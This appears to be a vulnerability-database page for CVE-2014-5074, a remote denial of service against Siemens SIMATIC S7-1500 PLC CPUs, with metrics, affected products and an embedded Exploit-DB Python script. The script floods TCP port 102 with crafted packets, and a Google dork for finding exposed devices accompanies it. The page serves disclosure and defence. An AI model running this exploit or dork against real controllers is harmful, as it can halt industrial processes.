CVE-2014-5074 : Detail

CVE-2014-5074

47.59%V3
Network
2014-08-17
21h00 +00:00
2020-02-10
13h06 +00:00
CVE.org
NVD
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CVE Descriptions

Siemens SIMATIC S7-1500 CPU devices with firmware before 1.6 allow remote attackers to cause a denial of service (device restart and STOP transition) via crafted TCP packets.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.1 AV:N/AC:M/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44693

Publication date : 2018-05-21 22h00 +00:00
Author : t4rkd3vilz
EDB Verified : No

# Exploit Title: Siemens SIMATIC S7-1500 CPU - Remote Denial of Service # Google Dork: inurl:/Portal/Portal.mwsl # Date: 2018-05-22 # Exploit Author: t4rkd3vilz, Jameel Nabbo # Vendor Homepage: https://www.siemens.com/ # Version: SIMATIC S7-1500 CPU all versions before V1.6 # Tested on: Kali Linux # CVE: CVE-2014-5074 #!/usr/bin/python import socket import sys from time import sleep if len(sys.argv) != 2: print "Usage: exploit.py <ip>" sys.exit(0) for x in range(1,50): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #vulnerable TCP port 102 connect=s.connect((str(sys.argv[1]), 102)) s.send('some evil string \r\n\n') print "bufff " + str(x) + " sent...\n" result=s.recv(1024) print result s.close() sleep(7)

Products Mentioned

Configuraton 0

Siemens>>Simatic_s7-1500_cpu_firmware >> Version To (including) 1.5.1

Siemens>>Simatic_s7-1500_cpu_firmware >> Version 1.0.1

    Siemens>>Simatic_s7-1500_cpu_firmware >> Version 1.1.0

      Siemens>>Simatic_s7-1500_cpu_firmware >> Version 1.1.1

        Siemens>>Simatic_s7-1500_cpu_firmware >> Version 1.1.2

          Siemens>>Simatic_s7-1500_cpu_firmware >> Version 1.5

            Siemens>>Simatic_s7-1511-1_pn_cpu >> Version -

            Siemens>>Simatic_s7-1513-1_pn_cpu >> Version -

            Siemens>>Simatic_s7-1515-2_pn_cpu >> Version -

            Siemens>>Simatic_s7-1516-3_pn\/dp_cpu >> Version -

            Siemens>>Simatic_s7-1516f-3_pn\/dp_cpu >> Version -

            Siemens>>Simatic_s7-1518-4_pn\/dp_cpu >> Version -

            Siemens>>Simatic_s7-1518f-4_pn\/dp_cpu >> Version -

            References

            https://www.exploit-db.com/exploits/44693/
            Tags : exploit, x_refsource_EXPLOIT-DB